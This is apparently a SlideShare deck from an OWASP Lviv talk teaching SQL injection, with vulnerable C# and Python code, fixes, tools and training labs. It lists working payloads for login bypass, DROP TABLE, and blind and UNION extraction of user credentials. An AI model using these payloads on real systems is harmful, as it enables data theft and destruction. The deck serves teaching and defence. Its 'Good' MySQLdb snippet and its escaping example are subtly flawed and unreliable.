SlideShare a Scribd company logo
1 of 39
Hacking through Injections. 
Theory and practice 
Specially for IT-Weekend Lviv 
OWASP-LVIV.blogspot.com By Nazar Tymoshyk, SoftServe
Theory: 
CODE problems 
Impact 
How to find 
How to prevent 
Practice: 
Small hack 
References 
Training Lab 
Agenda
What do you see in this request? 
GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1 
Host: superdupershop.com 
Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH= 
f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f 
4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a810534 
0b8ccc6c8e64dfa37ae953f987517
What is SQL Injection? 
Unauthorized database access by an external 
source using specially crafted code to 
piggyback on standard user input to bypass 
normal protections. 
Why? 
Gain access to restricted website areas 
Query unauthorized data 
Delete or corrupt data 
 User accounts, credentials, and personal 
information 
 Descriptions and prices of goods for sale 
 Orders, account statements, and payment 
details 
 The privileges of each user within the 
application
This is a real problem and it’s dangerous 
• DoS 
• Data loss or corruption 
• Data leakage 
• Sometimes can lead to complete host 
takeover 
• Reputation can be harmed.
Let’s start from smallHACK 
http://127.0.0.1:8888/mutillidae/
SQL-i 
SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ 
INJECT : admin’-- 
SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’ 
SELECT * FROM users WHERE username = ‘admin’
Consequences
Training Lab • DVWA 
• Gruyere 
• WebGoat .Net 
• WebGoat Java 
• https://xss-game. 
appspot.com/ 
• OWASP Mutillidae II 
• OWASP Broken Web 
Applications Project 
• https://www.hacking-lab. 
com
Aha, here is a source code for firsrequest 
var shopId = Request["shopId"]; 
var productId = Request["productId"]; 
var coupon = Request["coupon"]; 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE 
coupon LIKE {0}", coupon); 
var cmd = new SqlCommand(sqlCommandTxt, dataConnection); 
// Execute query, process result etc...
Let’s Fix this code. 
var shopId = Request["shopId"]; 
var productId = Request["productId"]; 
var coupon = Request["coupon"]; 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE 
@couponPattern", dataConnection); 
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); 
// Execute query, process result etc... 
Is it fixed?
Now it’s fixed 
var shopId = 0; 
if (!int.TryParse(Request["shopId"], out shopId)) 
{ throw new InvalidArgumentException(); 
} 
var productId = 0; 
if (!int.TryParse(Request["productId"], out productId)) 
{ throw new InvalidArgumentException(); 
} 
var coupon = Request["coupon"]; 
if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$")) 
{ throw new InvalidArgumentException(); 
} 
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon); 
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection); 
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern)); 
// Execute query, process result etc...
Python Code 
import MySQLdb 
def book_search_view(request): 
if 'bookname' not in request.GET: 
raise Http404 
conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db = 
"test") 
cursor = conn.cursor () 
name = request.GET['bookname'] 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) 
row = cursor.fetchone () 
cursor.close () 
conn.close () 
return render_to_response('booklist.html', row, 
context_instance=RequestContext(request))
A small problem 
• Normal SQL 
• name=“Moby Dick” 
SELECT * FROM table_books WHERE book_name = ‘Moby Dick’ 
• SQL Injection – bad day 
• name=“1’; SELECT * from Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; 
SELECT * from Users; 
--’ 
• SQL Injection 2 – really bad day 
• name=“1’; DROP TABLE Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; 
DROP TABLE Users; 
--’
Java Code
Detection Techniques
TOOLS 1. sqlmap: automatic SQL injection and 
database takeover tool 
2. SQL Inject Me :: Add-ons for Firefox 
3. Zed Attack Proxy 
4. Burp Suite 
5. W3AF 
6. Wapiti 
7. Havij Pro 
8. Nikto 
9. IronWASP
DEMO 2 
Testing security tools: 
•SQL Map 
•Burp Suite
MANUAL Penetration Testing 
• Error 
• Union 
In-band 
• Dns 
• Ping 
Out-band 
• Sleep 
•Waitfor 
Inferential 
(Blind)
This is old problem BLIND 
• sleep%281%29%2b1%29%20limit%201%20-- 
• sleep(1)+1) limit 1 -- 
• 1+and+sleep(10)-- 
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)-- 
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)-- 
• +OR+1=1-- 
• +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns-- 
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+li 
mit+0,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+0,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+3,1)))-- 
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w 
here+table_schema!='information_schema'+limit+4,1)))--
Typical examples of cases when an 
application needs to talk to a DB include: 
The first step in this test is to understand when the application 
interacts with a DB Server in order to access some data. 
1. Authentication forms: when authentication is performed using a 
web form, chances are that the user credentials are checked 
against a database that contains all usernames and passwords (or, 
better, password hashes). 
2. Search engines: the string submitted by the user could be used in 
a SQL query that extracts all relevant records from a database. 
3. E-Commerce sites: the products and their characteristics (price, 
description, availability, etc) are very likely to be stored in a 
database.
Prevention
General approaches to SQL Injection 
Defense 
Primary Defenses: 
Option #1: Use of Prepared Statements (Parameterized Queries) 
Option #2: Use of Stored Procedures 
Option #3: Escaping all User Supplied Input 
Additional Defenses: 
Also Enforce: Least Privilege 
Also Perform: White List Input Validation 
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Where to Learn more 
• http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture 
• http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application- 
security-risks 
• http://www.irongeek.com/i.php?page=security/hackingillustrated 
• http://google-gruyere.appspot.com/ 
• https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL- 
005)
http://OWASP-LVIV.blogspot.com
Thank you 
Contact me: 
Nazar Tymoshyk 
Skype: root_nt 
Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com
Blind SQL injections 
http://site/?param=-1 OR 1=1 
http://site/?param=-1 OR 1=1-- 
... 
http://site/?param=-1' 
http://site/?param=-1' AND 1=2 
... 
http://site/?param=-1' OR '1'='1 
... 
http://site/?param=-1"/* 
... 
http://site/?param=2 
http://site/?param=1 
http://site/?param=2-1 
... 
http://site/?param=1' AND 1=1 
http://site/?param=1' AND '1'='1
Double Blind SQL-i 
• http://site/?param=-1 AND benchmark(2000,md5(now())) 
• ... 
• http://site/?param=-1' AND benchmark(2000,md5(now()))--
Escape User Input 
• Hard to do right 
• You’ll probably screw it up if you don’t cover all the cases 
• So don’t write your own regex 
• MySQLdb.escape_string 
• Pro: Handles almost all encoding evasions 
• Con: Error prone because it depends on humans to always use it
import MySQLdb 
def book_search_view(request): 
if 'bookname' not in request.GET: 
raise Http404 
conn = MySQLdb.connect (host = "localhost", user = "testuser", 
passwd = "testpass", db = "test") 
cursor = conn.cursor () 
name = MySQLdb.escape_string(request.GET['bookname'] ) 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % 
name) 
row = cursor.fetchone () 
cursor.close () 
conn.close () 
return render_to_response('booklist.html', row, 
context_instance=RequestContext(request))
What does the escaped version 
look like? 
• SQL Injection – bad day 
• name=“1’; SELECT * from Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’ 
• SQL Injection 2 – really bad day 
• name=“1’; DROP TABLE Users; --” 
SELECT * FROM table_books WHERE book_name = ‘1’;DROP TABLE Users; --’
Evasion Techniques 
http://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf
Even more Evasion Techniques 
• Multibyte atttacks 
• http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string 
• http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html 
• Even the experts don’t get it right 
• MySQL patches bugs in their escaping routines
White List 
• Scrub data to a known set of inputs 
• Pros 
• Works well for variables with limited range 
• Fast 
• Cons 
• Can only be used in customized locations 
• Error prone 
• You might forgot 
• Or the intern might not understand 
• Example: user id must only contain 6 numbers
Stored Procedures 
• Use the inherent store procedure capabilities 
• Pros 
• Forces parameterization of all user input 
• Cons 
• Can still be bypassed if sql string is generated in code and passed to stored 
procedure 
• Not portable between databases
Parameterized Queries 
• Use DB API (mysqldb.execute) properly 
• Use Django ORM 
• Use SQLAlchemy (pylons, flask) 
• Really have to work hard to expose yourself 
• Pros 
• Generally easier to model data 
• Cons 
• ORMs sometimes limit advanced SQL 
• Bottom line: use a framework!
MySQLdb.execute 
Bad: 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name) 
Good: 
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name) 
Seriously? 
Yes
Thank you 
Contact me: 
Nazar Tymoshyk 
Skype: root_nt 
Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com

More Related Content

What's hot

Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 
Full Stack Web Developer (MERN STACK Developer.pptx
Full Stack Web Developer (MERN STACK Developer.pptxFull Stack Web Developer (MERN STACK Developer.pptx
Full Stack Web Developer (MERN STACK Developer.pptxRamudgarYadav
 
FRONT-END WEB DEVELOPMENT WITH REACTJS
FRONT-END WEB DEVELOPMENT WITH REACTJSFRONT-END WEB DEVELOPMENT WITH REACTJS
FRONT-END WEB DEVELOPMENT WITH REACTJSTran Phong Phu
 
Introduction to JavaScript (1).ppt
Introduction to JavaScript (1).pptIntroduction to JavaScript (1).ppt
Introduction to JavaScript (1).pptMuhammadRehan856177
 
Front End Development | Introduction
Front End Development | IntroductionFront End Development | Introduction
Front End Development | IntroductionJohnTaieb
 
Introduction to HTML5
Introduction to HTML5Introduction to HTML5
Introduction to HTML5Gil Fink
 
Front-end development introduction (HTML, CSS). Part 1
Front-end development introduction (HTML, CSS). Part 1Front-end development introduction (HTML, CSS). Part 1
Front-end development introduction (HTML, CSS). Part 1Oleksii Prohonnyi
 
Web development | Derin Dolen
Web development | Derin Dolen Web development | Derin Dolen
Web development | Derin Dolen Derin Dolen
 
Dom(document object model)
Dom(document object model)Dom(document object model)
Dom(document object model)Partnered Health
 
Lambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Lambda Expressions in C# From Beginner To Expert - Jaliya UdagedaraLambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Lambda Expressions in C# From Beginner To Expert - Jaliya UdagedaraJaliya Udagedara
 

What's hot (20)

Ruby on Rails Presentation
Ruby on Rails PresentationRuby on Rails Presentation
Ruby on Rails Presentation
 
Introduction to php
Introduction to phpIntroduction to php
Introduction to php
 
React js
React jsReact js
React js
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
NodeJS for Beginner
NodeJS for BeginnerNodeJS for Beginner
NodeJS for Beginner
 
Servlets api overview
Servlets api overviewServlets api overview
Servlets api overview
 
Xml parsers
Xml parsersXml parsers
Xml parsers
 
Full Stack Web Developer (MERN STACK Developer.pptx
Full Stack Web Developer (MERN STACK Developer.pptxFull Stack Web Developer (MERN STACK Developer.pptx
Full Stack Web Developer (MERN STACK Developer.pptx
 
FRONT-END WEB DEVELOPMENT WITH REACTJS
FRONT-END WEB DEVELOPMENT WITH REACTJSFRONT-END WEB DEVELOPMENT WITH REACTJS
FRONT-END WEB DEVELOPMENT WITH REACTJS
 
Introduction to JavaScript (1).ppt
Introduction to JavaScript (1).pptIntroduction to JavaScript (1).ppt
Introduction to JavaScript (1).ppt
 
Front End Development | Introduction
Front End Development | IntroductionFront End Development | Introduction
Front End Development | Introduction
 
Threads in JAVA
Threads in JAVAThreads in JAVA
Threads in JAVA
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Introduction to HTML5
Introduction to HTML5Introduction to HTML5
Introduction to HTML5
 
Front-end development introduction (HTML, CSS). Part 1
Front-end development introduction (HTML, CSS). Part 1Front-end development introduction (HTML, CSS). Part 1
Front-end development introduction (HTML, CSS). Part 1
 
Servlet
Servlet Servlet
Servlet
 
An Introduction To REST API
An Introduction To REST APIAn Introduction To REST API
An Introduction To REST API
 
Web development | Derin Dolen
Web development | Derin Dolen Web development | Derin Dolen
Web development | Derin Dolen
 
Dom(document object model)
Dom(document object model)Dom(document object model)
Dom(document object model)
 
Lambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Lambda Expressions in C# From Beginner To Expert - Jaliya UdagedaraLambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Lambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
 

Viewers also liked

Security Hole #11 - Competitive intelligence - Beliaiev
Security Hole #11 - Competitive intelligence - BeliaievSecurity Hole #11 - Competitive intelligence - Beliaiev
Security Hole #11 - Competitive intelligence - BeliaievNazar Tymoshyk, CEH, Ph.D.
 
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"Nazar Tymoshyk, CEH, Ph.D.
 
Security Hole #11 - Unusual security vulnerabilities - Yuriy Bilyk
Security Hole #11 - Unusual security vulnerabilities - Yuriy BilykSecurity Hole #11 - Unusual security vulnerabilities - Yuriy Bilyk
Security Hole #11 - Unusual security vulnerabilities - Yuriy BilykNazar Tymoshyk, CEH, Ph.D.
 
Cholelithiasis final year mbbs lecture
Cholelithiasis   final year mbbs lectureCholelithiasis   final year mbbs lecture
Cholelithiasis final year mbbs lectureMr Adeel Abbas
 
Web Design Principles - Jessica, Grant, and Rachel
Web Design Principles - Jessica, Grant, and RachelWeb Design Principles - Jessica, Grant, and Rachel
Web Design Principles - Jessica, Grant, and RachelRachelMcKinzie
 
Functional UI and Unidirectional Dataflow
Functional UI and Unidirectional DataflowFunctional UI and Unidirectional Dataflow
Functional UI and Unidirectional Dataflowmikaelbr
 
Shure Design Jam: Collaborative Spaces
Shure Design Jam: Collaborative SpacesShure Design Jam: Collaborative Spaces
Shure Design Jam: Collaborative SpacesJackie Wolf
 
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώωνanlio
 
Focus group analysis
Focus group analysisFocus group analysis
Focus group analysisCharLilyMay
 
2.16 Fiesta Sunday Anymeeting Auction
2.16 Fiesta Sunday Anymeeting Auction2.16 Fiesta Sunday Anymeeting Auction
2.16 Fiesta Sunday Anymeeting AuctionBritney Stanley-Wyatt
 
Heidi Beachler UDL Presentation
Heidi Beachler UDL PresentationHeidi Beachler UDL Presentation
Heidi Beachler UDL PresentationBeachlhm
 

Viewers also liked (20)

Security Hole #11 - Competitive intelligence - Beliaiev
Security Hole #11 - Competitive intelligence - BeliaievSecurity Hole #11 - Competitive intelligence - Beliaiev
Security Hole #11 - Competitive intelligence - Beliaiev
 
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"
Security Hole #12 Lviv SoftServe-Symphony Solutions "Lockpicking Authentication"
 
Security Hole #11 - Unusual security vulnerabilities - Yuriy Bilyk
Security Hole #11 - Unusual security vulnerabilities - Yuriy BilykSecurity Hole #11 - Unusual security vulnerabilities - Yuriy Bilyk
Security Hole #11 - Unusual security vulnerabilities - Yuriy Bilyk
 
Agile and Secure SDLC
Agile and Secure SDLCAgile and Secure SDLC
Agile and Secure SDLC
 
Injections
InjectionsInjections
Injections
 
Team11
Team11Team11
Team11
 
Cholelithiasis final year mbbs lecture
Cholelithiasis   final year mbbs lectureCholelithiasis   final year mbbs lecture
Cholelithiasis final year mbbs lecture
 
Web Design Principles - Jessica, Grant, and Rachel
Web Design Principles - Jessica, Grant, and RachelWeb Design Principles - Jessica, Grant, and Rachel
Web Design Principles - Jessica, Grant, and Rachel
 
Botacora de tecnologia1
Botacora de tecnologia1Botacora de tecnologia1
Botacora de tecnologia1
 
Content ux processes_idw_2014_final
Content ux processes_idw_2014_finalContent ux processes_idw_2014_final
Content ux processes_idw_2014_final
 
Functional UI and Unidirectional Dataflow
Functional UI and Unidirectional DataflowFunctional UI and Unidirectional Dataflow
Functional UI and Unidirectional Dataflow
 
The ISE Controlled Written Exam
The ISE Controlled Written ExamThe ISE Controlled Written Exam
The ISE Controlled Written Exam
 
Shure Design Jam: Collaborative Spaces
Shure Design Jam: Collaborative SpacesShure Design Jam: Collaborative Spaces
Shure Design Jam: Collaborative Spaces
 
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων
4 οκτωβρίου Παγκόσμια Ημέρα Προστασίας των Ζώων
 
Focus group analysis
Focus group analysisFocus group analysis
Focus group analysis
 
Music videos
Music videosMusic videos
Music videos
 
2.16 Fiesta Sunday Anymeeting Auction
2.16 Fiesta Sunday Anymeeting Auction2.16 Fiesta Sunday Anymeeting Auction
2.16 Fiesta Sunday Anymeeting Auction
 
Rica Belna _ Art for Interior Design: Abstractions PDF
Rica Belna _ Art for Interior Design: Abstractions PDFRica Belna _ Art for Interior Design: Abstractions PDF
Rica Belna _ Art for Interior Design: Abstractions PDF
 
Rica Belna _ Art for Interior Design: Portfolio of art & installations
Rica Belna _ Art for Interior Design: Portfolio of art & installationsRica Belna _ Art for Interior Design: Portfolio of art & installations
Rica Belna _ Art for Interior Design: Portfolio of art & installations
 
Heidi Beachler UDL Presentation
Heidi Beachler UDL PresentationHeidi Beachler UDL Presentation
Heidi Beachler UDL Presentation
 

Similar to Hack through Injections

SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampFelipe Prado
 
10x improvement-mysql-100419105218-phpapp02
10x improvement-mysql-100419105218-phpapp0210x improvement-mysql-100419105218-phpapp02
10x improvement-mysql-100419105218-phpapp02promethius
 
10x Performance Improvements
10x Performance Improvements10x Performance Improvements
10x Performance ImprovementsRonald Bradford
 
DEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteDEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteFelipe Prado
 
Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"Fwdays
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi pptAhamed Saleem
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web applicationSecurity Bootcamp
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
 

Similar to Hack through Injections (20)

SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 
Noinject
NoinjectNoinject
Noinject
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
 
10x improvement-mysql-100419105218-phpapp02
10x improvement-mysql-100419105218-phpapp0210x improvement-mysql-100419105218-phpapp02
10x improvement-mysql-100419105218-phpapp02
 
10x Performance Improvements
10x Performance Improvements10x Performance Improvements
10x Performance Improvements
 
DEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteDEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq lite
 
Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"
 
Code injection
Code injectionCode injection
Code injection
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
Rails Security
Rails SecurityRails Security
Rails Security
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
 
Injection flaw teaser
Injection flaw teaserInjection flaw teaser
Injection flaw teaser
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 

More from Nazar Tymoshyk, CEH, Ph.D.

Black magic of web attacks Detection and Prevention
Black magic of web attacks Detection and PreventionBlack magic of web attacks Detection and Prevention
Black magic of web attacks Detection and PreventionNazar Tymoshyk, CEH, Ph.D.
 
Security as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleSecurity as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleNazar Tymoshyk, CEH, Ph.D.
 
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рухNazar Tymoshyk, CEH, Ph.D.
 
OWASP Top 10 practice workshop by Stanislav Breslavskyi
OWASP Top 10 practice workshop by Stanislav BreslavskyiOWASP Top 10 practice workshop by Stanislav Breslavskyi
OWASP Top 10 practice workshop by Stanislav BreslavskyiNazar Tymoshyk, CEH, Ph.D.
 
Проект реабілітації військових в ІТ
Проект реабілітації військових в ІТПроект реабілітації військових в ІТ
Проект реабілітації військових в ІТNazar Tymoshyk, CEH, Ph.D.
 

More from Nazar Tymoshyk, CEH, Ph.D. (8)

Black magic of web attacks Detection and Prevention
Black magic of web attacks Detection and PreventionBlack magic of web attacks Detection and Prevention
Black magic of web attacks Detection and Prevention
 
CIA Hacking Organization in the Nutshell
CIA Hacking Organization in the NutshellCIA Hacking Organization in the Nutshell
CIA Hacking Organization in the Nutshell
 
Security as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleSecurity as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development Lifecycle
 
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух
"Аеророзвідка-Львів": Розвиток безпілотної авіації через волонтерський рух
 
OWASP Top 10 practice workshop by Stanislav Breslavskyi
OWASP Top 10 practice workshop by Stanislav BreslavskyiOWASP Top 10 practice workshop by Stanislav Breslavskyi
OWASP Top 10 practice workshop by Stanislav Breslavskyi
 
Automotive security testing
Automotive security testing Automotive security testing
Automotive security testing
 
Agile and Secure Development
Agile and Secure DevelopmentAgile and Secure Development
Agile and Secure Development
 
Проект реабілітації військових в ІТ
Проект реабілітації військових в ІТПроект реабілітації військових в ІТ
Проект реабілітації військових в ІТ
 

Recently uploaded

Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
